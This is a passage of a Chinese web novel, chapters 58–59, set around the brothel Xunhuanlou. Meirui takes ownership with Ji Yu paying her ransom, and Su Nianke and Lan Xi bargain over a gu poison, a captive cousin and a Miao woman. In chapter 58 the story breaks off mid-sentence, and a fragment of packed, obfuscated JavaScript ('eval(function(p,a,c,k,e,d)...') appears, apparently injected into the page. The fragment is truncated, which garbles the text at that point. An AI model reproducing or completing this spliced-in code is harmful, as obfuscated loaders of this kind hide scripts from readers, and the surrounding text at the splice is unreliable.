梅蕊缓缓抬起头来,视线在众人脸上扫了一圈,看到大家用期盼的目光看着她,她心里更加坚定,她比她们都要大上几岁,是时候承担一些责任,为了她们,为了寻欢楼,也为了曾经的自己。 这里,早已经是她的家,她怎么舍得家散了呢? 58. 第 58 章 “这些年寻欢楼赚的钱,其实她都存在了我这里。”梅蕊神情复杂,将这件事告知了大家。 柳棠对她一向很是信任,她知道她不会离开寻欢楼,所以放心将钱存在她这,可也正是因为这信任,梅蕊才更加难以接受柳棠是这样的人。 这些姑娘们听到梅蕊说的,纷纷露出惊讶的表情,似乎对此感到很震惊,毕竟寻欢楼已经是数一数二的青楼了,每日的流水就有百两往上,这几年来,得赚了多少钱?就这么全放在了梅蕊这? 梅蕊不过是比她们待得时间久一些而已,柳棠竟然对她如此信任?这简直让人吃惊不已。 不过话说回来,幸好是存在梅蕊这,梅蕊人虽然清高冷淡些,但性子沉稳冷静,又比在场的姐妹们都大几岁,有她在,会莫名地让人觉得安心。 对于梅蕊的为人,季妤也是知道的,所以在梅蕊提出要买下寻欢楼时,她惊讶的不是她提出这个事,而是她哪里这么多银子来买一座青楼。 现在知道柳棠的钱在梅蕊这,季妤便松了口气,这些女孩子不用离开寻欢楼,不用彼此分开了。 大家震惊完后,都欣喜万分,雪伶激动地问梅蕊:“所以寻欢楼还在,我们会继续留在寻欢楼,对么?” 梅蕊扯了扯嘴角,真情实意地笑了笑,点头道:“嗯,我们都可以留下来。” “太好了,真是太好了!” 大家高兴得叽叽喳喳起来,一扫之前沉闷的气氛,季妤看着,心里也高兴。 “那今后,你就是寻欢楼的老鸨了。”季妤笑道。 “是啊是啊,以后不能叫你梅蕊了。”素娥附和着,又捂嘴笑道,“我记得你和我说过你原本姓白,以后姐妹们就喊你白妈妈了。” 几个姑娘笑作一团,纷纷喊道:“白妈妈。” 一向清冷的梅蕊也禁不住姐妹们这般调笑,嗔怪地指着素娥道:“就你牙尖嘴利,都要走了还要笑话我一番。” 素娥轻叹一声,惆怅道:“能不能赎身还未可知呢?” 梅蕊奇道:“你不是攒够赎身钱了吗?” “赎身钱不是问题,问题是,陈大人肯不肯给我办赎身文书,现在寻欢楼搜出这么多具尸骨,他如今恐怕忙得不可开交,怕是分不出时间来处理我赎身的事。”说罢,又叹了口气,满脸愁容。 见状,季妤伸手拍了拍素娥的肩膀,笑道:“不用担心,我在寻欢楼门前碰到陈大人了,特地问了赎身这件事,他说要是你们要赎身,直接来府衙办理就行,不过他现在确实有些忙,你可以明天去。” 素娥激动地握住季妤的手,“真的?” 季妤笑道:“当然是真的,我又不会骗你。”又环顾了一下周围,对各位姐妹道,“你们谁要是也想赎身,又攒够了赎身钱的,也可以去府衙办理。” 姑娘们面面相觑,攒够赎身钱的寥寥无几,除了素娥,还有谁? 况且能来寻欢楼的,不是无父无母的孤儿,就是被亲人卖了的,又或许是被拐子拐来的。 运气好的像素娥这般,爹娘找来了,即使赎了身也还有家,像她们这些赎了身,也是没了家的,倒不如就在寻欢楼里,起码吃住不愁。 “我觉得寻欢楼挺好的。” “嗯嗯,寻欢楼已经是我们的家了,我们哪儿也不去。” “现在寻欢楼是梅蕊做主,有她在,我们还有什么可担心的。” 见大家如此信任她,梅蕊悄悄红了眼眶,心下暗暗发誓,必定会守住寻欢楼,护住这些与她同样身世悲惨的女孩们。 “如此,我这就去府衙办理文书,让寻欢楼重新记在我的名下。”梅蕊激动地站了起来。 季妤忙道:“我和你一起去。” 又看向素娥,问:“素娥,你要不要也来,把你赎身的事一起办完。” 素娥犹豫着,“我还是明天再去吧,现在寻欢楼的事更加重要。” 季妤和梅蕊火急火燎地赶往府衙,与陈远说明来意,陈远听后,问:“你可是良籍?若还未脱贱籍,你无权将寻欢楼记在你名下。” 梅蕊脸色惨白,她竟是忘了自己还是贱籍身份,若是要脱贱籍,必须得先给自己赎身,摘去青楼女子身份成为良民,才能买下寻欢楼记在自己名下。 季妤伸手扶住梅蕊的肩,轻声安慰道:“没事,现在赎身也可以。” 梅蕊面露难色,“我身上所有的钱几乎只够买寻欢楼,没有再多的钱给自己赎身。” “唉呀,这可如何是好,是我忘了这重要的事!要是没有成功将寻欢楼记在我名下,姐妹定会很失望……” 一想到她们失落的眼神,梅蕊眼眶都红了。 季妤沉默了半晌,手指紧紧地扣着自己的布包。 最后,她深吸一口气,下定了一个决心,她对梅蕊笑道:“不用担心,不就是赎身吗?我给你赎身!” 不顾梅蕊震惊的眼神,季妤对陈远道:“陈大人,我给梅蕊赎身,你先给她办赎身的事,我回去拿钱,很快就回来。” 梅蕊红着眼睛,几乎是哽咽着,“小妤,你,你自己都还要还债,你要是出钱给我赎身了,你的债怎么办?” 季妤回以轻松的笑,安慰道:“放心吧,给你赎身之后,还债的钱还是够的,你不要担心啦。” …… 回到家的季妤直奔自己房里,从衣柜里找出自己放钱的匣子,开了锁,季妤从里面拿出了两张分别是五十两的银票。 寻欢楼头牌的姑娘赎身至少需要一百两,她已经问过了素娥。 一百两对于她这个已经千两富婆的人来说,已经不算什么了,只要能帮到梅蕊,帮到寻欢楼,这就够了。 季妤仔细地将匣子上好锁放回原位,然后又急匆匆地跑回衙门,等她重新回到衙门时,梅蕊的赎身文书正好办完,季妤将银票拿给陈远,又等了将近半个时辰,终于,寻欢楼记在了梅蕊名下,现在开始,梅蕊便是寻欢楼的新主人。 出了衙门后,梅蕊激动地抱住季妤,开心道:“小妤,真的是太感谢你了,我替姐妹们谢谢你!” 季妤轻轻拍了拍梅蕊的后背,笑着说:“不用客气,你们这一个月来对我的好我都记在心里,我只希望寻欢楼好起来,大家都好好的。” 梅蕊郑重点头应道:“嗯,我定会让寻欢楼越来越好,后天的花魁大赛,寻欢楼势必会拔得头筹,在青州成为数一数二的青楼。” 季妤担心道:“现在寻欢楼发生了这些事,你们还能办花魁大赛吗?” 梅蕊松开季妤,认真道:“姐妹几个为了花魁大赛早在三月前就开始各种排练,就为了在花魁大赛时让寻欢楼名声大噪,成为青州第一青楼,虽然现在寻欢楼发生了不好的事,那些恩客们恐怕都对寻欢楼避如蛇蝎,以后的寻欢楼日子会更不好过,所以花魁大赛就更得继续办下去,这样一来,恩客们也会打消对寻欢楼不好的印象。” “寻欢楼需要一个新的开始!” …… 北市一个不怎么起眼,甚至有些破败的宅院里,有两男子拔刀相向。 南星冷眼看着面前的男人,对面的男人也不甘示弱,手里握着刀,谨慎地看着南星。 江佑看到南星时,颇为诧异道:“你的眼睛没瞎?” 见南星面无表情地看着他,江佑冷笑一声,“看来你身边有人医术不错啊,短时间内还能有解药,怪不得……” 南星皱着眉看着江佑,怪不得什么? “没想到你竟然追到了这里,你到底为什么要跟踪我们!”江佑突然厉声喝道。 “你叫江佑?” “什么?”江佑一愣,似乎被南星这突然的一问给问住了,惊讶地看着南星,疑惑道:“你怎么知道我的名字,你到底是谁?” 江佑警惕地看着南星,手里握着的刀越发紧了些,心里暗道,此人武功不在他之下,如今他知道他的姓名,而他却对他一无所知,这可不妙,更得小心谨慎些。 “你们掳走了我们的人。”南星冷冷道。 “你们的人?”江佑疑惑地看着南星,思考着他话语中的真实性。 “那个中了幽冥蛊的男人?他是你们的人?” “把人交还我们,否则,你杀死柳棠一事,官府很快便会知晓,还有私自掳走衙门尸体一事,官府的人正在搜查你们,就算你们再会躲,只要还在青州,你们就躲不过。”南星冷冷地朝江佑身后紧闭的大门一瞥,他声音不算很大,但屋内若是有人,还是能听见的。 这话明里是说给江佑听的,实际上是说给屋里那个人听的。 就看她怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不,准确的来说,千云册是姨父要找的,而蓝汐,是那个女人要找的。 蓝汐平静道:“苏小姐,可否进屋谈谈?” 苏念可挑眉道:“当然。” 蓝汐转身朝屋内走去,苏念可跟了上去,却被江佑拦了一下,苏念可不悦地白了江佑一眼,“干什么?” “搜你身上有没有带危险的东西。”冷脸道。 蓝汐呵斥道:“江佑,不得无理。” “阿姐~”江佑委屈地看了蓝汐一眼,见蓝汐冷淡的眼神扫过来时,无奈地侧开身子让苏念可过去。 苏念可瞥了江佑一眼,对着蓝汐嗤笑道:“你这弟弟还没我的暗卫听话呢。” 蓝汐不理她,径直进了屋,苏念可撇了撇嘴,冷哼一声,也进去,后又把门关上。 两人面对面坐了下来,蓝汐给苏念可倒了一杯茶,道:“苏小姐,请喝茶。” 苏念可抿了一口茶,细细品味了一番,皱着眉头道:“一般。” “只是普通茶叶,自然一般。”蓝汐淡淡道,自顾自地给自己也倒了一杯,喝了一口后,方才继续道,“苏小姐可知幽冥蛊?” “难道蓝汐姑娘知道?”苏念可反问。 蓝汐淡淡地瞥了苏念可一眼,“听你的暗卫说,他是你们的人,既是你们的人,他中了幽冥蛊你怎会不知?苏小姐既然答应与我好好谈谈,何不坦诚相待?” 苏念可轻笑,点头道:“我确实知道他中了幽冥蛊。” 一向表情冷淡的蓝汐,皱起了眉,她问:“怎么中的?” “被人暗算了。” “在哪里被人暗算的?” “京城。” 蓝汐冷下脸,道:“苏小姐还是不肯坦诚相待,那么谈话就没必要继续下去。” 苏念可诧异道:“蓝汐姑娘此言差矣,我确实说的都是实话。” 蓝汐冷笑道:“黄石的死就是因为幽冥蛊,而幽冥蛊是连南疆都极其少见的蛊毒,怎么会突然出现在青州?” “苏小姐,是你吧。”肯定的语气。 蓝汐目光灼灼地盯着苏念可,而苏念可则有些惊讶地看着蓝汐,她没想到这么快就被蓝汐给猜到了,苏念可拿起杯子不紧不慢地轻轻抿了一口茶,勉强将茶咽下后,才点头承认道:“蓝汐姑娘很聪明。” “你怎么会有幽冥蛊?” 59. 第 59 章 “你怎么会有幽冥蛊。” 面对蓝汐的质问,苏念可没有急着回答,而是不紧不慢地又给自己倒了一杯茶,抿了一口,皱眉,不情不愿地咽下,见蓝汐紧盯着自己,苏念可轻笑一声,“蓝汐姑娘是个聪明人,应当知道天下没有免费的午餐这个道理。你若是想要知道我为何会有幽冥蛊,不如拿点有用的东西交换。” 蓝汐沉默了一会儿,道:“我有办法救活那位公子。” 苏念可皱眉,问:“幽冥蛊可不是一般的蛊毒,你确定你能救活他?” 蓝汐点头,苏念可思索了一番,笑道:“既如此,那等你救活了他,我再告诉你我为什么会有幽冥蛊。” 蓝汐皱眉,脸色不悦地看着苏念可,此女子聪明狡猾,一点亏都不愿吃,若想知道她手里幽冥蛊的来源,那么她就不得不妥协。 蓝汐双眸阖上,平复了一下情绪,再睁开眼时,又恢复了淡淡的模样,她缓缓开口,道:“那位公子昨日便吃了解药,现在已经性命无忧,苏小姐现在可以告诉我为什么你有幽冥蛊了吗?” 听了这话,苏念可有些诧异,幽冥蛊不是极其难解的蛊毒吗,怎么说解就解了?蓝汐怕不是诓她的吧。 带着疑惑,苏念可道:“你说解就解了?空口无凭,你得让我亲眼看到,我才会相信。” 蓝汐平静道:“好,你随我来。” 说罢,起身,苏念可见状,也赶紧起来跟在蓝汐身后,两人进了里屋,看到床上的人时,苏念可赶紧快步小跑过去。 床上的男人面色如常,好像只是睡着了一般,没有之前刚中蛊毒时的病容,苏念可心里稍稍安心了些,表哥不会死,她心里的愧疚感就减轻了大半。 “他怎么样了,什么时候会醒?”苏念可看着蓝汐,看到她从腰间取下一个小瓷瓶,从小瓷瓶里倒出一颗黑色小药丸,然后掰开裴子珩的嘴,将药丸塞进去。 苏念可疑惑地看着,下意识地端起凳子旁的那碗水,给裴子珩喝下,喉咙滚动两下,药丸就着水被吞下,苏念可皱着眉问:“不是说吃下解药了吗,这又是什么?” “先前吃下的是解幽冥蛊的解药,现在吃的是调养身体,清除余毒的药,吃下这药,约莫明日一早便能醒。”蓝汐淡淡解释着。 见苏念可听明白了,蓝汐紧接着便道:“现在可以说了吧。” 苏念可盯着蓝汐,一脸好奇地笑问:“你为何对幽冥蛊那么执着,竟然不惜让你去衙门里偷黄石的尸体。” 蓝汐冷着一张脸,神色淡淡,“这不需要你知道,你只需要告诉我,你的幽冥蛊是哪里来的。” 苏念可撇了撇嘴,无趣地睨了蓝汐一眼,这女人漂亮是漂亮,就是太冷淡了,像是一块冰,让人难以接近。 还是季妤好啊,虽然笨了点,但是挺可爱的,只要她出点钱,那傻子就屁颠屁颠地给她鞍前马后地伺候着。 “幽冥蛊是我姨父给的。” “你姨父?”蓝汐眼神闪过一丝淡淡的茫然。 姨父,男的……这与她心中那个隐藏极深的答案,完全不一样。 这位苏小姐是否在骗她? 蓝汐紧紧地盯着苏念可的眼睛,企图从中找到一丝说谎的迹象,奈何,苏念可很是坦然地回望她,似乎,真的没有说谎。 蓝汐不甘心地再问:“你姨父是何人?” “我姨父是当朝靖王。”苏念可不以为意回道。 “靖王?”蓝汐眉头皱得更紧了,她疑惑地问:“我听闻大祁对巫蛊之术深恶痛绝,甚至颁布了禁令来处罚用蛊之人,你姨父是皇家人,怎么还会带头用蛊,而且还是连南疆苗族都极其少见的幽冥蛊。” “要么靖王居心不良,企图利用蛊毒做什么伤天害理的事;要么便是你说谎,给你幽冥蛊的人另有其人!”蓝汐厉声质问。 见苏念可没有要解释的意思,蓝汐快速上前一步俯身掰开裴子珩的嘴,将一颗白色药丸捏在指尖,冷冷地看着苏念可,眼里的威胁显而易见:“你若是还不说实话,等这颗白色药丸不小心掉进他的口中后,幽冥蛊便会重新发作,之后就算是有解药也救不了他的命!” “等等!”眼见着蓝汐的手抖了两下,真怕她手里的白色药丸掉进裴子珩的口中,苏念可急忙出声阻止。 蓝汐冷淡地盯着她看,苏念可犹豫了一下,道:“幽冥蛊的确是我姨父给我的,不过幽冥蛊也不是他的,毕竟这是你们南疆的产物,是他身边一个苗疆女人给的。” 苗疆女人!蓝汐惊得手一抖,白色药丸掉进了男人口中,苏念可急道:“蓝汐!你言而无信!你怎么可以把药丸扔进去!”说完,急急忙忙地上前去扒男人口里的药,奈何药丸入口即化,苏念可怔怔地僵在原地,手指控制不住地颤抖起来。 完了完了,裴子珩他,没救了吗? “蓝汐!”苏念可怒气冲冲地喊道。 “砰——”的一声,门被踹开。 “小姐,怎么了?”在院子里猛然听到苏念可满是怒气的声音,南星以为发生了什么不好的事,怕手无缚鸡之力的苏念可受欺负,于是着急破门而入,却在看到苏念可怒瞪蓝汐的样子时,不由愣住了。 他以为,弱势的一方是小姐,现在看来,以小姐的脾气,谁弱势她都不可能弱势。 苏念可没有看南星,只焦急道:“南星,表哥又被这个女人下了毒,这可怎么办?” 南星一听这话,下意识回道:“小姐,我们找季姑娘吧。” 季姑娘医术好,说不定她真能找到解幽冥蛊的办法。 苏念可一口否决:“她不行,她连黄石中的什么蛊毒都不知道,怎么可能解幽冥蛊。” “那小姐想要怎么做。”南星问。 苏念可皱眉沉默,如果不是只有蓝汐有办法解幽冥蛊,而且她手里还有千云册,她可能真的会让南星直接把裴子珩掳走,像他说的那样找季妤,可是季妤解不了,还得蓝汐。 所以,她不能就这样走,解幽冥蛊和拿到千云册,两个至少要完成一个才行,否则,再在青州拖下去,她怕姨母支撑不了多久。 江佑被南星抢先一步破门而入,心里对南星的不爽达到了顶峰,又见苏念可怒气冲冲地对着蓝汐,江佑以为蓝汐受了欺负,快速上前挡在蓝汐身前,手紧握刀柄怒视着南星和苏念可二人。 怒骂道:“你们到底要干什么,这里不欢迎你们,识相点赶紧滚!” 骂完,又微微侧头看了蓝汐一眼,紧张地问:“阿姐,你没事吧,这个女人有没有欺负你!” 蓝汐轻轻摇了摇头,推了推江佑,“别挡着。” “阿姐~”江佑委屈极了,他担心蓝汐受欺负才挡在她的前面,却被她嫌弃。 蓝汐朝江佑露出一个浅淡的笑,安慰道:“我没事。” 得了蓝汐的笑脸,江佑的委屈一扫而空,但还是有些不情不愿地挪开身子。 蓝汐看到苏念可怒目而睁的样子,知道她是误会了,于是解释道:“白色药丸只是普通的睡眠药,无毒无害,相反还有助于人睡眠的功效,所以你放心吧,他没事的。” 意识到自己被骗后,苏念可更加生气了,她竟然被蓝汐给耍了,一想到自己被蓝汐拿捏的蠢样,她就气得浑身颤抖。 这个女人竟然把她当傻子似的耍,苏念可脸色阴沉,皮笑肉不笑地盯着蓝汐,“你想知道那个苗疆女人么?” 苏念可看出了蓝汐在听到她提及姨父身边那个苗疆女人时情绪有很明显的波动,比如身子猛地顿住,瞳孔剧缩,手还颤抖了几下,导致药丸才会掉进裴子珩的口中,这一系列的状况表明,那个苗疆女子,是蓝汐迫切想要知道的人。 既然知道了对方的弱点,那么她便成了主导的那一方,接下来不管是千云册还是解幽冥蛊,她都有交易的筹码。 果然,蓝汐迫切地追问:“你知道那个苗疆女人长什么样?你见过她?她现在在何处?” 一连好几个问,苏念可轻笑一声,看来还真是让她猜对了。从她见到蓝汐时,这人就一直是一副淡淡的样子,极少有情绪激动的时刻,却在听到她说起苗疆女人后,语气那般急切地问她。 “别着急啊,不如我们再做个交易如何?”苏念可笑着看向蓝汐。 蓝汐警觉地看着苏念可,问:“你想要什么?” 苏念可也不拐弯抹角,盯着蓝汐,一字一顿道:“千云册。” 蓝汐先是一惊,再是皱眉,疑惑道:“你怎么就确定千云册在我手里?” 不等苏念可回答她,蓝汐又自顾自点头道:“我明白了,是她告诉你的对么?” “呵!”蓝汐冷笑一声,“她为了夺我手中的千云册,竟然还要用幽冥蛊害人!”一双清冷的眸子凝视着苏念可,冷若冰霜的样子让苏念可微微一惊,这怎么和她预想的结果不太一样啊。 她想的是,她告诉蓝汐那个苗疆女人的消 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苏念可沉默了半晌,抬眼看向床上的男人,道:“他已经被你解了幽冥蛊,你说他明日就能醒,既然如此,人我们便带走了。” 说完,又对南星道:“南星,把表哥背起来,我们走。” 南星听了命令,抬腿朝床榻走去,被一把大刀拦下,抬眼,是江佑怒视的双眸。 “休想这么轻易地就把人带走!” 南星面无表情地盯着他,忽地右臂旋转快速朝前一挥,大刀被打偏在一侧,江佑手腕传来一阵疼痛,眉毛拧成一团,可想而知刚才南星那一挥力道有多大。 江佑握紧刀柄,欺身上前,二人有来有往地缠斗在一起,几乎是不分上下,屋子本就不大,两人又这般打斗,期间碰倒了好些物件,噼里啪啦作响。 苏念可唯恐自己被不小心伤到,忙朝床榻那边挪去,不经意间瞥见蓝汐朝她看来,苏念可脚步一顿。 “蓝雪在哪儿?” “谁?”苏念可没反应过来,一脸疑惑地看着蓝汐。 “你说的那个苗疆女人。”蓝汐很有耐心地解释了一遍。 原来那个奇怪的苗疆女人叫蓝雪,苏念可打量着蓝汐,又看向床上的男人,道:“让我们把他带走,我告诉你蓝雪在哪儿。” 南星和那个江佑武功不相上下,要想强行把裴子珩带走不是件容易的事,所以,能谈条件的时候就得谈条件。 苏念可平静地看着蓝汐,等着她的回答。 蓝汐沉默了半晌,一只打碎的碗砸在脚边,更加四分五裂地散落一地,碎瓷片溅得到处都是,蓝汐的目光从打斗的两人身上扫了一下,然后收回,落在苏念可身上,点头答应:“好,你们可以带走他。” 说完,又朝打斗中的两人喊道:“江佑,停手,让他们把人带走。” 江佑身子一顿,停下了手中动作,这一分神,便被南星得逞,一脚踹了他个趔趄,膝盖磕在了尖锐的桌角,顿时疼得江佑龇牙咧嘴,抬眼间,似乎还看到南星对他嘲讽似的笑了笑,江佑顿时火冒三丈,捡起地上被打掉的刀,正要朝前挥去,被一道清冷的声音呵住。 “江佑!” “阿姐~”江佑委屈地看了蓝汐一眼,却见她冷着一张脸看着自己,心里一阵难受,将手里的刀扔掉,直接破罐子破摔地坐了下来,脸扭到一旁,眼不见心不烦的,什么都不管了。 南星上前将床上的裴子珩背起,站在苏念可身边,苏念可对蓝汐道:“蓝雪现在在靖王府,不过我不确定她是不是你要找的人,因为我并不知道她的姓名。” 蓝汐思索了一会儿,问:“她长什么样?” 苏念可回忆了一下,如实道:“说实话,我只见过她两次,每一次她都全身裹着纱布,神神秘秘,奇奇怪怪,我姨父似乎特别信任她。” “幽冥蛊便是她给我姨父的。” “你要千云册做什么?”蓝汐又问。 苏念可想了想,要千云册做什么,她哪里知道,她只知道千云册是记载苗疆蛊毒的册子,是姨父他们要的,姨父让她来寻千云册,说只要她拿到了千云册,他和那个女人就有办法救活姨母,为了姨母,她便来了。 见苏念可摇头,蓝汐心下了然,知道她也只是听从她姨父的吩咐来寻千云册,恐怕还不知道千云册的厉害,于是冷硬道:“千云册我是不会给你的,你死了这条心吧。”